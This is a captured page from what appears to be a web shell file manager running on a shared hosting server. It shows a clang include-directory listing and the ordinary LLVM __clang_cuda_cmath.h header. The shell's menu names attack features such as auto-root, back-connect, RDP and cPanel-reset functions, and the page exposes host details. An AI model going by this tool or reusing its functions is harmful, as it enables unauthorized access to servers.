Linux frigo.o2switch.net 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP Thu May 7 23:17:13 UTC 2026 x86_64
Apache
: 109.234.164.159 | : 216.73.216.204
Cant Read [ /etc/named.conf ]
8.3.33
lavi4235
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
llvm17 /
lib /
clang /
17 /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cuda_wrappers
[ DIR ]
drwxr-xr-x
llvm_libc_wrappers
[ DIR ]
drwxr-xr-x
openmp_wrappers
[ DIR ]
drwxr-xr-x
ppc_wrappers
[ DIR ]
drwxr-xr-x
__clang_cuda_builtin_vars.h
4.78
KB
-rw-r--r--
__clang_cuda_cmath.h
18.06
KB
-rw-r--r--
__clang_cuda_complex_builtins....
9.36
KB
-rw-r--r--
__clang_cuda_device_functions....
56.68
KB
-rw-r--r--
__clang_cuda_intrinsics.h
29.93
KB
-rw-r--r--
__clang_cuda_libdevice_declare...
21.87
KB
-rw-r--r--
__clang_cuda_math.h
15.99
KB
-rw-r--r--
__clang_cuda_math_forward_decl...
8.27
KB
-rw-r--r--
__clang_cuda_runtime_wrapper.h
17.61
KB
-rw-r--r--
__clang_cuda_texture_intrinsic...
31.86
KB
-rw-r--r--
__clang_hip_cmath.h
26.34
KB
-rw-r--r--
__clang_hip_libdevice_declares...
19.87
KB
-rw-r--r--
__clang_hip_math.h
31.96
KB
-rw-r--r--
__clang_hip_runtime_wrapper.h
4.65
KB
-rw-r--r--
__clang_hip_stdlib.h
1.19
KB
-rw-r--r--
__stddef_max_align_t.h
857
B
-rw-r--r--
__wmmintrin_aes.h
5.15
KB
-rw-r--r--
__wmmintrin_pclmul.h
1.99
KB
-rw-r--r--
adxintrin.h
7.37
KB
-rw-r--r--
altivec.h
697.32
KB
-rw-r--r--
ammintrin.h
7.54
KB
-rw-r--r--
amxcomplexintrin.h
6.81
KB
-rw-r--r--
amxfp16intrin.h
1.82
KB
-rw-r--r--
amxintrin.h
21.12
KB
-rw-r--r--
arm64intr.h
993
B
-rw-r--r--
arm_acle.h
25.66
KB
-rw-r--r--
arm_bf16.h
548
B
-rw-r--r--
arm_cde.h
32.67
KB
-rw-r--r--
arm_cmse.h
6.21
KB
-rw-r--r--
arm_fp16.h
16.92
KB
-rw-r--r--
arm_mve.h
1.48
MB
-rw-r--r--
arm_neon.h
2.45
MB
-rw-r--r--
arm_neon_sve_bridge.h
9.48
KB
-rw-r--r--
arm_sme_draft_spec_subject_to_...
60.2
KB
-rw-r--r--
arm_sve.h
1.51
MB
-rw-r--r--
armintr.h
843
B
-rw-r--r--
avx2intrin.h
186.96
KB
-rw-r--r--
avx512bf16intrin.h
10.51
KB
-rw-r--r--
avx512bitalgintrin.h
2.41
KB
-rw-r--r--
avx512bwintrin.h
75.33
KB
-rw-r--r--
avx512cdintrin.h
4.12
KB
-rw-r--r--
avx512dqintrin.h
58.75
KB
-rw-r--r--
avx512erintrin.h
11.83
KB
-rw-r--r--
avx512fintrin.h
382.64
KB
-rw-r--r--
avx512fp16intrin.h
156.63
KB
-rw-r--r--
avx512ifmaintrin.h
2.49
KB
-rw-r--r--
avx512ifmavlintrin.h
4.31
KB
-rw-r--r--
avx512pfintrin.h
4.53
KB
-rw-r--r--
avx512vbmi2intrin.h
13.17
KB
-rw-r--r--
avx512vbmiintrin.h
3.72
KB
-rw-r--r--
avx512vbmivlintrin.h
6.94
KB
-rw-r--r--
avx512vlbf16intrin.h
19.21
KB
-rw-r--r--
avx512vlbitalgintrin.h
4.23
KB
-rw-r--r--
avx512vlbwintrin.h
121.26
KB
-rw-r--r--
avx512vlcdintrin.h
7.66
KB
-rw-r--r--
avx512vldqintrin.h
46.41
KB
-rw-r--r--
avx512vlfp16intrin.h
85.51
KB
-rw-r--r--
avx512vlintrin.h
322.29
KB
-rw-r--r--
avx512vlvbmi2intrin.h
25.72
KB
-rw-r--r--
avx512vlvnniintrin.h
13.13
KB
-rw-r--r--
avx512vlvp2intersectintrin.h
4.44
KB
-rw-r--r--
avx512vnniintrin.h
4.21
KB
-rw-r--r--
avx512vp2intersectintrin.h
2.9
KB
-rw-r--r--
avx512vpopcntdqintrin.h
2
KB
-rw-r--r--
avx512vpopcntdqvlintrin.h
3.31
KB
-rw-r--r--
avxifmaintrin.h
5.75
KB
-rw-r--r--
avxintrin.h
195.41
KB
-rw-r--r--
avxneconvertintrin.h
14.09
KB
-rw-r--r--
avxvnniint16intrin.h
17.41
KB
-rw-r--r--
avxvnniint8intrin.h
18.67
KB
-rw-r--r--
avxvnniintrin.h
10.44
KB
-rw-r--r--
bmi2intrin.h
7.09
KB
-rw-r--r--
bmiintrin.h
14.12
KB
-rw-r--r--
builtins.h
741
B
-rw-r--r--
cet.h
1.49
KB
-rw-r--r--
cetintrin.h
3.27
KB
-rw-r--r--
cldemoteintrin.h
1.18
KB
-rw-r--r--
clflushoptintrin.h
1.17
KB
-rw-r--r--
clwbintrin.h
1.2
KB
-rw-r--r--
clzerointrin.h
1.19
KB
-rw-r--r--
cmpccxaddintrin.h
2.33
KB
-rw-r--r--
cpuid.h
11.01
KB
-rw-r--r--
crc32intrin.h
3.27
KB
-rw-r--r--
emmintrin.h
192.64
KB
-rw-r--r--
enqcmdintrin.h
2.12
KB
-rw-r--r--
f16cintrin.h
5.39
KB
-rw-r--r--
float.h
5.63
KB
-rw-r--r--
fma4intrin.h
6.82
KB
-rw-r--r--
fmaintrin.h
28.4
KB
-rw-r--r--
fxsrintrin.h
2.82
KB
-rw-r--r--
gfniintrin.h
7.57
KB
-rw-r--r--
hexagon_circ_brev_intrinsics.h
15.59
KB
-rw-r--r--
hexagon_protos.h
374.42
KB
-rw-r--r--
hexagon_types.h
130.33
KB
-rw-r--r--
hresetintrin.h
1.36
KB
-rw-r--r--
htmintrin.h
6.14
KB
-rw-r--r--
htmxlintrin.h
9.01
KB
-rw-r--r--
hvx_hexagon_protos.h
254.26
KB
-rw-r--r--
ia32intrin.h
12.72
KB
-rw-r--r--
immintrin.h
23.57
KB
-rw-r--r--
intrin.h
28.22
KB
-rw-r--r--
inttypes.h
2.26
KB
-rw-r--r--
invpcidintrin.h
764
B
-rw-r--r--
iso646.h
656
B
-rw-r--r--
keylockerintrin.h
17.98
KB
-rw-r--r--
larchintrin.h
7.8
KB
-rw-r--r--
limits.h
3.61
KB
-rw-r--r--
lwpintrin.h
5
KB
-rw-r--r--
lzcntintrin.h
3.18
KB
-rw-r--r--
mm3dnow.h
4.5
KB
-rw-r--r--
mm_malloc.h
1.88
KB
-rw-r--r--
mmintrin.h
55.98
KB
-rw-r--r--
module.modulemap
3.33
KB
-rw-r--r--
movdirintrin.h
1.57
KB
-rw-r--r--
msa.h
25.01
KB
-rw-r--r--
mwaitxintrin.h
2.19
KB
-rw-r--r--
nmmintrin.h
709
B
-rw-r--r--
opencl-c-base.h
30.38
KB
-rw-r--r--
opencl-c.h
874.39
KB
-rw-r--r--
pconfigintrin.h
1.19
KB
-rw-r--r--
pkuintrin.h
934
B
-rw-r--r--
pmmintrin.h
10.5
KB
-rw-r--r--
popcntintrin.h
1.82
KB
-rw-r--r--
prfchiintrin.h
2.02
KB
-rw-r--r--
prfchwintrin.h
2.06
KB
-rw-r--r--
ptwriteintrin.h
1.05
KB
-rw-r--r--
raointintrin.h
6.59
KB
-rw-r--r--
rdpruintrin.h
1.59
KB
-rw-r--r--
rdseedintrin.h
2.85
KB
-rw-r--r--
riscv_ntlh.h
855
B
-rw-r--r--
rtmintrin.h
1.25
KB
-rw-r--r--
s390intrin.h
604
B
-rw-r--r--
serializeintrin.h
881
B
-rw-r--r--
sgxintrin.h
1.77
KB
-rw-r--r--
sha512intrin.h
5.95
KB
-rw-r--r--
shaintrin.h
7.37
KB
-rw-r--r--
sifive_vector.h
522
B
-rw-r--r--
sm3intrin.h
7.29
KB
-rw-r--r--
sm4intrin.h
8.2
KB
-rw-r--r--
smmintrin.h
99.32
KB
-rw-r--r--
stdalign.h
911
B
-rw-r--r--
stdarg.h
1.66
KB
-rw-r--r--
stdatomic.h
8.3
KB
-rw-r--r--
stdbool.h
1.04
KB
-rw-r--r--
stddef.h
4.16
KB
-rw-r--r--
stdint.h
32.49
KB
-rw-r--r--
stdnoreturn.h
1.17
KB
-rw-r--r--
tbmintrin.h
3.15
KB
-rw-r--r--
tgmath.h
29.68
KB
-rw-r--r--
tmmintrin.h
29.51
KB
-rw-r--r--
tsxldtrkintrin.h
1.97
KB
-rw-r--r--
uintrintrin.h
4.96
KB
-rw-r--r--
unwind.h
11.21
KB
-rw-r--r--
vadefs.h
1.39
KB
-rw-r--r--
vaesintrin.h
2.46
KB
-rw-r--r--
varargs.h
477
B
-rw-r--r--
vecintrin.h
360.82
KB
-rw-r--r--
velintrin.h
2.1
KB
-rw-r--r--
velintrin_approx.h
3.54
KB
-rw-r--r--
velintrin_gen.h
69.06
KB
-rw-r--r--
vpclmulqdqintrin.h
1.06
KB
-rw-r--r--
waitpkgintrin.h
1.33
KB
-rw-r--r--
wasm_simd128.h
76.25
KB
-rw-r--r--
wbnoinvdintrin.h
749
B
-rw-r--r--
wmmintrin.h
659
B
-rw-r--r--
x86gprintrin.h
2.32
KB
-rw-r--r--
x86intrin.h
1.81
KB
-rw-r--r--
xmmintrin.h
106.73
KB
-rw-r--r--
xopintrin.h
19.96
KB
-rw-r--r--
xsavecintrin.h
2.51
KB
-rw-r--r--
xsaveintrin.h
1.64
KB
-rw-r--r--
xsaveoptintrin.h
1
KB
-rw-r--r--
xsavesintrin.h
1.24
KB
-rw-r--r--
xtestintrin.h
873
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : __clang_cuda_cmath.h
/*===---- __clang_cuda_cmath.h - Device-side CUDA cmath support ------------=== * * Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. * See https://llvm.org/LICENSE.txt for license information. * SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception * *===-----------------------------------------------------------------------=== */ #ifndef __CLANG_CUDA_CMATH_H__ #define __CLANG_CUDA_CMATH_H__ #ifndef __CUDA__ #error "This file is for CUDA compilation only." #endif #ifndef __OPENMP_NVPTX__ #include <limits> #endif // CUDA lets us use various std math functions on the device side. This file // works in concert with __clang_cuda_math_forward_declares.h to make this work. // // Specifically, the forward-declares header declares __device__ overloads for // these functions in the global namespace, then pulls them into namespace std // with 'using' statements. Then this file implements those functions, after // their implementations have been pulled in. // // It's important that we declare the functions in the global namespace and pull // them into namespace std with using statements, as opposed to simply declaring // these functions in namespace std, because our device functions need to // overload the standard library functions, which may be declared in the global // namespace or in std, depending on the degree of conformance of the stdlib // implementation. Declaring in the global namespace and pulling into namespace // std covers all of the known knowns. #ifdef __OPENMP_NVPTX__ #define __DEVICE__ static constexpr __attribute__((always_inline, nothrow)) #else #define __DEVICE__ static __device__ __inline__ __attribute__((always_inline)) #endif __DEVICE__ long long abs(long long __n) { return ::llabs(__n); } __DEVICE__ long abs(long __n) { return ::labs(__n); } __DEVICE__ float abs(float __x) { return ::fabsf(__x); } __DEVICE__ double abs(double __x) { return ::fabs(__x); } __DEVICE__ float acos(float __x) { return ::acosf(__x); } __DEVICE__ float asin(float __x) { return ::asinf(__x); } __DEVICE__ float atan(float __x) { return ::atanf(__x); } __DEVICE__ float atan2(float __x, float __y) { return ::atan2f(__x, __y); } __DEVICE__ float ceil(float __x) { return ::ceilf(__x); } __DEVICE__ float cos(float __x) { return ::cosf(__x); } __DEVICE__ float cosh(float __x) { return ::coshf(__x); } __DEVICE__ float exp(float __x) { return ::expf(__x); } __DEVICE__ float fabs(float __x) { return ::fabsf(__x); } __DEVICE__ float floor(float __x) { return ::floorf(__x); } __DEVICE__ float fmod(float __x, float __y) { return ::fmodf(__x, __y); } __DEVICE__ int fpclassify(float __x) { return __builtin_fpclassify(FP_NAN, FP_INFINITE, FP_NORMAL, FP_SUBNORMAL, FP_ZERO, __x); } __DEVICE__ int fpclassify(double __x) { return __builtin_fpclassify(FP_NAN, FP_INFINITE, FP_NORMAL, FP_SUBNORMAL, FP_ZERO, __x); } __DEVICE__ float frexp(float __arg, int *__exp) { return ::frexpf(__arg, __exp); } // For inscrutable reasons, the CUDA headers define these functions for us on // Windows. #if !defined(_MSC_VER) || defined(__OPENMP_NVPTX__) // For OpenMP we work around some old system headers that have non-conforming // `isinf(float)` and `isnan(float)` implementations that return an `int`. We do // this by providing two versions of these functions, differing only in the // return type. To avoid conflicting definitions we disable implicit base // function generation. That means we will end up with two specializations, one // per type, but only one has a base function defined by the system header. #if defined(__OPENMP_NVPTX__) #pragma omp begin declare variant match( \ implementation = {extension(disable_implicit_base)}) // FIXME: We lack an extension to customize the mangling of the variants, e.g., // add a suffix. This means we would clash with the names of the variants // (note that we do not create implicit base functions here). To avoid // this clash we add a new trait to some of them that is always true // (this is LLVM after all ;)). It will only influence the mangled name // of the variants inside the inner region and avoid the clash. #pragma omp begin declare variant match(implementation = {vendor(llvm)}) __DEVICE__ int isinf(float __x) { return ::__isinff(__x); } __DEVICE__ int isinf(double __x) { return ::__isinf(__x); } __DEVICE__ int isfinite(float __x) { return ::__finitef(__x); } __DEVICE__ int isfinite(double __x) { return ::__isfinited(__x); } __DEVICE__ int isnan(float __x) { return ::__isnanf(__x); } __DEVICE__ int isnan(double __x) { return ::__isnan(__x); } #pragma omp end declare variant #endif __DEVICE__ bool isinf(float __x) { return ::__isinff(__x); } __DEVICE__ bool isinf(double __x) { return ::__isinf(__x); } __DEVICE__ bool isfinite(float __x) { return ::__finitef(__x); } // For inscrutable reasons, __finite(), the double-precision version of // __finitef, does not exist when compiling for MacOS. __isfinited is available // everywhere and is just as good. __DEVICE__ bool isfinite(double __x) { return ::__isfinited(__x); } __DEVICE__ bool isnan(float __x) { return ::__isnanf(__x); } __DEVICE__ bool isnan(double __x) { return ::__isnan(__x); } #if defined(__OPENMP_NVPTX__) #pragma omp end declare variant #endif #endif __DEVICE__ bool isgreater(float __x, float __y) { return __builtin_isgreater(__x, __y); } __DEVICE__ bool isgreater(double __x, double __y) { return __builtin_isgreater(__x, __y); } __DEVICE__ bool isgreaterequal(float __x, float __y) { return __builtin_isgreaterequal(__x, __y); } __DEVICE__ bool isgreaterequal(double __x, double __y) { return __builtin_isgreaterequal(__x, __y); } __DEVICE__ bool isless(float __x, float __y) { return __builtin_isless(__x, __y); } __DEVICE__ bool isless(double __x, double __y) { return __builtin_isless(__x, __y); } __DEVICE__ bool islessequal(float __x, float __y) { return __builtin_islessequal(__x, __y); } __DEVICE__ bool islessequal(double __x, double __y) { return __builtin_islessequal(__x, __y); } __DEVICE__ bool islessgreater(float __x, float __y) { return __builtin_islessgreater(__x, __y); } __DEVICE__ bool islessgreater(double __x, double __y) { return __builtin_islessgreater(__x, __y); } __DEVICE__ bool isnormal(float __x) { return __builtin_isnormal(__x); } __DEVICE__ bool isnormal(double __x) { return __builtin_isnormal(__x); } __DEVICE__ bool isunordered(float __x, float __y) { return __builtin_isunordered(__x, __y); } __DEVICE__ bool isunordered(double __x, double __y) { return __builtin_isunordered(__x, __y); } __DEVICE__ float ldexp(float __arg, int __exp) { return ::ldexpf(__arg, __exp); } __DEVICE__ float log(float __x) { return ::logf(__x); } __DEVICE__ float log10(float __x) { return ::log10f(__x); } __DEVICE__ float modf(float __x, float *__iptr) { return ::modff(__x, __iptr); } __DEVICE__ float pow(float __base, float __exp) { return ::powf(__base, __exp); } __DEVICE__ float pow(float __base, int __iexp) { return ::powif(__base, __iexp); } __DEVICE__ double pow(double __base, int __iexp) { return ::powi(__base, __iexp); } __DEVICE__ bool signbit(float __x) { return ::__signbitf(__x); } __DEVICE__ bool signbit(double __x) { return ::__signbitd(__x); } __DEVICE__ float sin(float __x) { return ::sinf(__x); } __DEVICE__ float sinh(float __x) { return ::sinhf(__x); } __DEVICE__ float sqrt(float __x) { return ::sqrtf(__x); } __DEVICE__ float tan(float __x) { return ::tanf(__x); } __DEVICE__ float tanh(float __x) { return ::tanhf(__x); } // There was a redefinition error for this this overload in CUDA mode. // We restrict it to OpenMP mode for now, that is where it is actually needed // anyway. #ifdef __OPENMP_NVPTX__ __DEVICE__ float remquo(float __n, float __d, int *__q) { return ::remquof(__n, __d, __q); } #endif // Notably missing above is nexttoward. We omit it because // libdevice doesn't provide an implementation, and we don't want to be in the // business of implementing tricky libm functions in this header. #ifndef __OPENMP_NVPTX__ // Now we've defined everything we promised we'd define in // __clang_cuda_math_forward_declares.h. We need to do two additional things to // fix up our math functions. // // 1) Define __device__ overloads for e.g. sin(int). The CUDA headers define // only sin(float) and sin(double), which means that e.g. sin(0) is // ambiguous. // // 2) Pull the __device__ overloads of "foobarf" math functions into namespace // std. These are defined in the CUDA headers in the global namespace, // independent of everything else we've done here. // We can't use std::enable_if, because we want to be pre-C++11 compatible. But // we go ahead and unconditionally define functions that are only available when // compiling for C++11 to match the behavior of the CUDA headers. template<bool __B, class __T = void> struct __clang_cuda_enable_if {}; template <class __T> struct __clang_cuda_enable_if<true, __T> { typedef __T type; }; // Defines an overload of __fn that accepts one integral argument, calls // __fn((double)x), and returns __retty. #define __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(__retty, __fn) \ template <typename __T> \ __DEVICE__ \ typename __clang_cuda_enable_if<std::numeric_limits<__T>::is_integer, \ __retty>::type \ __fn(__T __x) { \ return ::__fn((double)__x); \ } // Defines an overload of __fn that accepts one two arithmetic arguments, calls // __fn((double)x, (double)y), and returns a double. // // Note this is different from OVERLOAD_1, which generates an overload that // accepts only *integral* arguments. #define __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(__retty, __fn) \ template <typename __T1, typename __T2> \ __DEVICE__ typename __clang_cuda_enable_if< \ std::numeric_limits<__T1>::is_specialized && \ std::numeric_limits<__T2>::is_specialized, \ __retty>::type \ __fn(__T1 __x, __T2 __y) { \ return __fn((double)__x, (double)__y); \ } __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, acos) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, acosh) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, asin) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, asinh) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, atan) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, atan2); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, atanh) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, cbrt) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, ceil) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, copysign); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, cos) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, cosh) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, erf) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, erfc) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, exp) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, exp2) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, expm1) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, fabs) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, fdim); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, floor) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, fmax); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, fmin); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, fmod); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(int, fpclassify) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, hypot); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(int, ilogb) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(bool, isfinite) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(bool, isgreater); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(bool, isgreaterequal); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(bool, isinf); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(bool, isless); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(bool, islessequal); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(bool, islessgreater); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(bool, isnan); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(bool, isnormal) __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(bool, isunordered); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, lgamma) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, log) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, log10) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, log1p) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, log2) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, logb) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(long long, llrint) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(long long, llround) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(long, lrint) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(long, lround) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, nearbyint); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, nextafter); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, pow); __CUDA_CLANG_FN_INTEGER_OVERLOAD_2(double, remainder); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, rint); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, round); __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(bool, signbit) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, sin) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, sinh) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, sqrt) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, tan) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, tanh) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, tgamma) __CUDA_CLANG_FN_INTEGER_OVERLOAD_1(double, trunc); #undef __CUDA_CLANG_FN_INTEGER_OVERLOAD_1 #undef __CUDA_CLANG_FN_INTEGER_OVERLOAD_2 // Overloads for functions that don't match the patterns expected by // __CUDA_CLANG_FN_INTEGER_OVERLOAD_{1,2}. template <typename __T1, typename __T2, typename __T3> __DEVICE__ typename __clang_cuda_enable_if< std::numeric_limits<__T1>::is_specialized && std::numeric_limits<__T2>::is_specialized && std::numeric_limits<__T3>::is_specialized, double>::type fma(__T1 __x, __T2 __y, __T3 __z) { return std::fma((double)__x, (double)__y, (double)__z); } template <typename __T> __DEVICE__ typename __clang_cuda_enable_if<std::numeric_limits<__T>::is_integer, double>::type frexp(__T __x, int *__exp) { return std::frexp((double)__x, __exp); } template <typename __T> __DEVICE__ typename __clang_cuda_enable_if<std::numeric_limits<__T>::is_integer, double>::type ldexp(__T __x, int __exp) { return std::ldexp((double)__x, __exp); } template <typename __T1, typename __T2> __DEVICE__ typename __clang_cuda_enable_if< std::numeric_limits<__T1>::is_specialized && std::numeric_limits<__T2>::is_specialized, double>::type remquo(__T1 __x, __T2 __y, int *__quo) { return std::remquo((double)__x, (double)__y, __quo); } template <typename __T> __DEVICE__ typename __clang_cuda_enable_if<std::numeric_limits<__T>::is_integer, double>::type scalbln(__T __x, long __exp) { return std::scalbln((double)__x, __exp); } template <typename __T> __DEVICE__ typename __clang_cuda_enable_if<std::numeric_limits<__T>::is_integer, double>::type scalbn(__T __x, int __exp) { return std::scalbn((double)__x, __exp); } // We need to define these overloads in exactly the namespace our standard // library uses (including the right inline namespace), otherwise they won't be // picked up by other functions in the standard library (e.g. functions in // <complex>). Thus the ugliness below. #ifdef _LIBCPP_BEGIN_NAMESPACE_STD _LIBCPP_BEGIN_NAMESPACE_STD #else namespace std { #ifdef _GLIBCXX_BEGIN_NAMESPACE_VERSION _GLIBCXX_BEGIN_NAMESPACE_VERSION #endif #endif // Pull the new overloads we defined above into namespace std. using ::acos; using ::acosh; using ::asin; using ::asinh; using ::atan; using ::atan2; using ::atanh; using ::cbrt; using ::ceil; using ::copysign; using ::cos; using ::cosh; using ::erf; using ::erfc; using ::exp; using ::exp2; using ::expm1; using ::fabs; using ::fdim; using ::floor; using ::fma; using ::fmax; using ::fmin; using ::fmod; using ::fpclassify; using ::frexp; using ::hypot; using ::ilogb; using ::isfinite; using ::isgreater; using ::isgreaterequal; using ::isless; using ::islessequal; using ::islessgreater; using ::isnormal; using ::isunordered; using ::ldexp; using ::lgamma; using ::llrint; using ::llround; using ::log; using ::log10; using ::log1p; using ::log2; using ::logb; using ::lrint; using ::lround; using ::nearbyint; using ::nextafter; using ::pow; using ::remainder; using ::remquo; using ::rint; using ::round; using ::scalbln; using ::scalbn; using ::signbit; using ::sin; using ::sinh; using ::sqrt; using ::tan; using ::tanh; using ::tgamma; using ::trunc; // Well this is fun: We need to pull these symbols in for libc++, but we can't // pull them in with libstdc++, because its ::isinf and ::isnan are different // than its std::isinf and std::isnan. #ifndef __GLIBCXX__ using ::isinf; using ::isnan; #endif // Finally, pull the "foobarf" functions that CUDA defines in its headers into // namespace std. using ::acosf; using ::acoshf; using ::asinf; using ::asinhf; using ::atan2f; using ::atanf; using ::atanhf; using ::cbrtf; using ::ceilf; using ::copysignf; using ::cosf; using ::coshf; using ::erfcf; using ::erff; using ::exp2f; using ::expf; using ::expm1f; using ::fabsf; using ::fdimf; using ::floorf; using ::fmaf; using ::fmaxf; using ::fminf; using ::fmodf; using ::frexpf; using ::hypotf; using ::ilogbf; using ::ldexpf; using ::lgammaf; using ::llrintf; using ::llroundf; using ::log10f; using ::log1pf; using ::log2f; using ::logbf; using ::logf; using ::lrintf; using ::lroundf; using ::modff; using ::nearbyintf; using ::nextafterf; using ::powf; using ::remainderf; using ::remquof; using ::rintf; using ::roundf; using ::scalblnf; using ::scalbnf; using ::sinf; using ::sinhf; using ::sqrtf; using ::tanf; using ::tanhf; using ::tgammaf; using ::truncf; #ifdef _LIBCPP_END_NAMESPACE_STD _LIBCPP_END_NAMESPACE_STD #else #ifdef _GLIBCXX_BEGIN_NAMESPACE_VERSION _GLIBCXX_END_NAMESPACE_VERSION #endif } // namespace std #endif #endif // __OPENMP_NVPTX__ #undef __DEVICE__ #endif
Close